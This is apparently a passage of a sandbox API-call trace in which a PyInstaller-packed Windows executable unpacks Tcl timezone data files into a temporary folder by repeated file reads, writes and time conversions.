1 [0038.931] GetLastError () returned 0x0 [0038.931] SetLastError (dwErrCode=0x0) [0038.931] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana") returned 72 [0038.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.931] GetFileType (hFile=0x10c) returned 0x1 [0038.931] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.931] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.931] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.931] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.932] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.932] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.932] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.932] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.932] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.932] CloseHandle (hObject=0x10c) returned 1 [0038.932] GetLastError () returned 0x0 [0038.932] SetLastError (dwErrCode=0x0) [0038.932] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Petersburg") returned 83 [0038.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Petersburg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\petersburg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.932] GetLastError () returned 0x2 [0038.932] SetLastError (dwErrCode=0x2) [0038.932] GetLastError () returned 0x2 [0038.932] SetLastError (dwErrCode=0x2) [0038.932] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Petersburg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Petersburg", lpFilePart=0x0) returned 0x52 [0038.932] GetLastError () returned 0x2 [0038.932] SetLastError (dwErrCode=0x2) [0038.932] GetLastError () returned 0x2 [0038.932] SetLastError (dwErrCode=0x2) [0038.932] GetLastError () returned 0x2 [0038.932] SetLastError (dwErrCode=0x2) [0038.932] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Petersburg") returned 83 [0038.932] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Petersburg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\petersburg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.933] GetFileType (hFile=0x10c) returned 0x1 [0038.933] htonl (hostlong=0xc41c0000) returned 0x1cc4 [0038.933] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.934] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.934] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcc4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcc4, lpOverlapped=0x0) returned 1 [0038.934] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.934] CloseHandle (hObject=0x10c) returned 1 [0038.935] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.935] htonl (hostlong=0x40000000) returned 0x40 [0038.935] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.935] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.935] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.935] GetFileType (hFile=0x10c) returned 0x1 [0038.935] htonl (hostlong=0x57445900) returned 0x594457 [0038.936] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5df457, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.936] htonl (hostlong=0x8a050000) returned 0x58a [0038.936] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x58a) returned 0x550600 [0038.936] htonl (hostlong=0x8a050000) returned 0x58a [0038.936] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.936] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.936] htonl (hostlong=0x501b0000) returned 0x1b50 [0038.936] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b50) returned 0x561090 [0038.937] htonl (hostlong=0x8a050000) returned 0x58a [0038.937] htonl (hostlong=0x501b0000) returned 0x1b50 [0038.937] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562be8 [0038.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562be8 | out: hHeap=0x530000) returned 1 [0038.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.937] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.937] CloseHandle (hObject=0x10c) returned 1 [0038.937] GetLastError () returned 0x0 [0038.937] SetLastError (dwErrCode=0x0) [0038.937] GetLastError () returned 0x0 [0038.937] SetLastError (dwErrCode=0x0) [0038.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.937] GetFileType (hFile=0x10c) returned 0x1 [0038.937] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.937] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.937] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.937] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.937] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.937] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.937] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.937] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.938] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.938] CloseHandle (hObject=0x10c) returned 1 [0038.938] GetLastError () returned 0x0 [0038.938] SetLastError (dwErrCode=0x0) [0038.938] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.938] GetFileType (hFile=0x10c) returned 0x1 [0038.938] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.938] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.938] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.938] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.938] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.938] CloseHandle (hObject=0x10c) returned 1 [0038.938] GetLastError () returned 0x0 [0038.938] SetLastError (dwErrCode=0x0) [0038.938] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.939] GetFileType (hFile=0x10c) returned 0x1 [0038.939] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.939] CloseHandle (hObject=0x10c) returned 1 [0038.939] GetLastError () returned 0x0 [0038.939] SetLastError (dwErrCode=0x0) [0038.939] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana") returned 72 [0038.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.939] GetFileType (hFile=0x10c) returned 0x1 [0038.939] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.939] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.939] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.939] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.940] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.940] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.940] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.940] CloseHandle (hObject=0x10c) returned 1 [0038.940] GetLastError () returned 0x0 [0038.940] SetLastError (dwErrCode=0x0) [0038.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Tell_City") returned 82 [0038.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Tell_City" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\tell_city"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.940] GetLastError () returned 0x2 [0038.940] SetLastError (dwErrCode=0x2) [0038.940] GetLastError () returned 0x2 [0038.940] SetLastError (dwErrCode=0x2) [0038.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Tell_City", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Tell_City", lpFilePart=0x0) returned 0x51 [0038.940] GetLastError () returned 0x2 [0038.940] SetLastError (dwErrCode=0x2) [0038.940] GetLastError () returned 0x2 [0038.940] SetLastError (dwErrCode=0x2) [0038.940] GetLastError () returned 0x2 [0038.940] SetLastError (dwErrCode=0x2) [0038.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Tell_City") returned 82 [0038.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Tell_City" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\tell_city"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.942] GetFileType (hFile=0x10c) returned 0x1 [0038.942] htonl (hostlong=0x501b0000) returned 0x1b50 [0038.942] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.943] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.943] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb50, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb50, lpOverlapped=0x0) returned 1 [0038.943] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.943] CloseHandle (hObject=0x10c) returned 1 [0038.944] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.945] htonl (hostlong=0x40000000) returned 0x40 [0038.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.945] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.945] GetFileType (hFile=0x10c) returned 0x1 [0038.945] htonl (hostlong=0xe1495900) returned 0x5949e1 [0038.945] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5df9e1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.945] htonl (hostlong=0x16050000) returned 0x516 [0038.945] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x516) returned 0x550600 [0038.945] htonl (hostlong=0x16050000) returned 0x516 [0038.945] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.946] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.946] htonl (hostlong=0xce180000) returned 0x18ce [0038.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18ce) returned 0x561090 [0038.946] htonl (hostlong=0x16050000) returned 0x516 [0038.946] htonl (hostlong=0xce180000) returned 0x18ce [0038.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562968 [0038.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562968 | out: hHeap=0x530000) returned 1 [0038.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.946] CloseHandle (hObject=0x10c) returned 1 [0038.946] GetLastError () returned 0x0 [0038.947] SetLastError (dwErrCode=0x0) [0038.947] GetLastError () returned 0x0 [0038.947] SetLastError (dwErrCode=0x0) [0038.947] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.947] GetFileType (hFile=0x10c) returned 0x1 [0038.947] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.947] CloseHandle (hObject=0x10c) returned 1 [0038.947] GetLastError () returned 0x0 [0038.947] SetLastError (dwErrCode=0x0) [0038.947] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 